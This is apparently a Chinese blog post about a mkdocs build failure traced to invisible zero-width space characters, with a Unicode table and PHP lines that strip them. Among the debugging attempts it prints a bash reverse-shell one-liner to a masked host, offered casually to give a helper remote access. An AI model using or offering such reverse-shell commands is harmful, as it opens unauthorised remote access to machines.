【记一次pull request的惨痛教训】不可见的分隔符之Zero-with-space
问题描述:
我在修改 ctf-wiki
目录后进行 mkdocs build
去生成索引目录的时候报错:
然后我尝试定位到第 2
行和第 288
行,这些行我似乎并没有修改过啊。
未果,开始去找师傅解决。
解决方案探索:
由于我不太懂 mkdocs
的运行机制,这个时候肯定是需要找刘师傅了。
方案一、 mkdocs
去 clean
缓存。
似乎这个想法是行不通了,不是根本原因。
方案二、改目录
我们开始猜想是不是路径中有中文的锅,改一下路径,未果。
方案三、反弹 shell
弄不出来了,我直接反弹一个 shell
给刘师傅。
bash -i>& /dev/tcp/xxx.xxx.xxx.xxx/xxx 0>&1
似乎师傅觉得权限太小了,然后不让弄了23333,未果。
方案四、重新clone一遍
一般出现问题,从头来一遍就好了,然后我这么做了,重新改了一下索引,未果。
方案五、 git diff
定位源码
使用 git diff
看哪部分代码修改过了,发现了一些问题,明明两段代码一模一样的,却显示有被修改过的痕迹。
探索:
既然有点眉头了,我们开始猜测是不是 tab
和空格混淆了,但是我并没有修改过,几番猜测后可能是我的编辑器存在问题,我用 Typora
修改的目录,可能是因为编辑器的问题,自动加上了一些奇怪的东西进去。
开始尝试:
用 vim
去查看下目录文件,事情果然不简单:
这个 <200b>
是什么鬼东西,删掉再本地跑一下试试看先,果真是这个特殊字符的锅。
特意去维基百科上查阅了文档,发现这个学术名词叫 Zero-width-space
(零宽空格) ,是一种不可打印的 Unicode
字符,用于可能需要换行处。
简单理解,什么是零宽度空格?它是一个Unicode字符,它是一个空格,它没有宽度!
什么叫没有宽度?就是如果 2
个字母之间打了一个零宽度空格,你是看不见任何东西的,两个字母还是会挨在一起。而且更坑爹的是,就算你用的是等宽字体,它也看不见。
这种字符在高级编辑器中都是看不见这个符号的,只有 VIM
这种古老的编辑器才能看到。
有关这种特殊字元存在以下三种形式:
Unicode code point | character | UTF-8 (in literal) | name |
---|---|---|---|
U+200B | \xe2\x80\x8b | ZERO WIDTH SPACE | |
U+200C | | \xe2\x80\x8c | ZERO WIDTH NON-JOINER |
U+200D | | \xe2\x80\x8d | ZERO WIDTH JOINER |
我们在写入文件中应该用以下语法去过滤这三种字符:
// remove zero width space
$value = str_replace("\xe2\x80\x8b", '', $value);
$value = str_replace("\xe2\x80\x8c", '', $value);
$value = str_replace("\xe2\x80\x8d", '', $value);
扩展:
- http://blog.isaach.com/2013/03/zero-width-space.html
- Zero-width-space维基百科
- 用零宽度字符水印揭露泄密者身份
- Zero-Width-Spaces-Hiden
- https://www.zachaysan.com/writing/2017-12-30-zero-width-characters
【记一次pull request的惨痛教训】不可见的分隔符之Zero-with-space的更多相关文章
- 解决托管在Windows上的Stash的Pull request无法合并的问题
最近尝试合并一个托管在Windows的Stash系统中的pull request时,发现合并按钮被禁用,显示有冲突不能合并,但是在diff页面中没有现实冲突,而且代码实际上并没有任何冲突. 后来在这篇 ...
- 庆祝下,提交了第一个ceph pull request。实现了从0到1的突破
庆祝一下!经过社区老司机的带路,昨天提交了第一个ceph pull request.实现了从0到1的突破,希望再接再厉提交更多代码到社区,为社区发展贡献一点自己力量. 提交的第一个被社区fix的bug ...
- github的pull request是指什么意思?有什么用处
github的pull request是指什么意思? 来看看某乎某位阿牛的理解,多么的简单粗暴! 我尝试用类比的方法来解释一下 pull reqeust.想想我们中学考试,老师改卷的场景吧.你做的试卷 ...
- git pull request
如何发 PR 以下以 wiki-pages 为例 把项目 fork 到自己名下,然后 clone 到本地 git clone git@code.xiaojukeji.com:yexiliang/wik ...
- 使用 VisualCode + iTerm2 提交github的Pull Request
VisualCode集成github功能,是程序猿参与开源项目的利器.相比Sublime简单了很多(插件安装繁琐,比如你试试在Sublime2 安装gosublime,这里有坑; Sublime 3修 ...
- git 上的pull request 是什么意思?
1.git 上有常见的pull request 功能 2.pull request 的含义 解释一: 有一个仓库,叫Repo A.你如果要往里贡献代码,首先要Fork这个Repo,于是在你的Gi ...
- Git工作流指南:Pull Request工作流
参考地址:http://blog.jobbole.com/76854/ Pull Requests是Bitbucket上方便开发者之间协作的功能.提供了一个用户友好的Web界面,在集成提交的变更到正式 ...
- (转载)新手如何正确理解GitHub中“PR(pull request)”中的意思
我从知乎看到的两个答案,分别从实际意义以及语言学角度告诉你改怎么理解PR,很简洁,这个理解非常棒,会解决新手刚看到PR(pull request)这个词时的困惑. 实际意义: 有一个仓库,叫R ...
- dragloader.js帮助你在页面原生滚动下实现Pull Request操作
dragloader.js是一个面向移动Web开发的JavaScript库,帮助开发者在使用页面原生滚动时,模拟上/下拉手势,实现Pull Request操作. 在移动设备上,一般会使用 drag d ...
随机推荐
- Python __init__.py文件的作用
我们经常在python的模块目录中会看到 "__init__.py" 这个文件,那么它到底有什么作用呢? 1. 模块包(module package)标识 如果你是使用pytho ...
- 用户 'XXX\SERVERNAME$' 登录失败。 原因: 找不到与提供的名称匹配的登录名。 [客户端: ]
一工厂的中控服务器遇到了下面Alert提示,'XXX\SERVERNAME$' XXX表示对应的域名, SERVERNAME$(脱敏处理,SERVERNAME为具体的服务器名称+$),而且如下所示, ...
- hivesql优化的深入解析
转载:https://www.csdn.net/article/2015-01-13/2823530 一个Hive查询生成多个Map Reduce Job,一个Map Reduce Job又有Map, ...
- python 爬虫 requests+BeautifulSoup 爬取巨潮资讯公司概况代码实例
第一次写一个算是比较完整的爬虫,自我感觉极差啊,代码low,效率差,也没有保存到本地文件或者数据库,强行使用了一波多线程导致数据顺序发生了变化... 贴在这里,引以为戒吧. # -*- coding: ...
- Flask中使用cookie和session
Flask中使用cookie和session 设置cookie from flask import Flask,Response app = Flask(__name__) @app.route('/ ...
- 【转载】Python中的垃圾回收机制
GC作为现代编程语言的自动内存管理机制,专注于两件事:1. 找到内存中无用的垃圾资源 2. 清除这些垃圾并把内存让出来给其他对象使用.GC彻底把程序员从资源管理的重担中解放出来,让他们有更多的时间放在 ...
- C++多线程同步技巧(三)--- 互斥体
简介 Windows互斥对象机制. 只有拥有互斥对象的线程才有访问公共资源的权限,因为互斥对象只有一个,所以能保证公共资源不会同时被多个线程访问,在线程同步与保证程序单体运行上都有相当大的用处. 代码 ...
- phprpc的使用示例以及报错Fatal error: Cannot redeclare gzdecode() in D:\wamp\www\immoc\phprpc\compat.php 处理
今天看书,发现了PHPRPC这个好东东,故在此写下来以作笔记. PHPRPC 是一个轻型的.安全的.跨网际的.跨语言的.跨平台的.跨环境的.跨域的.支持复杂对象传输的.支持引用参数传递的.支持内容输出 ...
- LeetCode算法题-Best Time to Buy and Sell Stock
这是悦乐书的第172次更新,第174篇原创 01 看题和准备 今天介绍的是LeetCode算法题中Easy级别的第31题(顺位题号是121).假设有一个数组,其中第i个元素是第i天给定股票的价格.如果 ...
- docker学习笔记(一)-vagrant/docker machine安装docker,阿里云通过docker machine安装docker
首先需要先安装virtualbox https://www.vagrantup.com/ 下载安装vagrant 安装完毕后通过vagrant下载镜像,生成实例 mkdir test_centos7 ...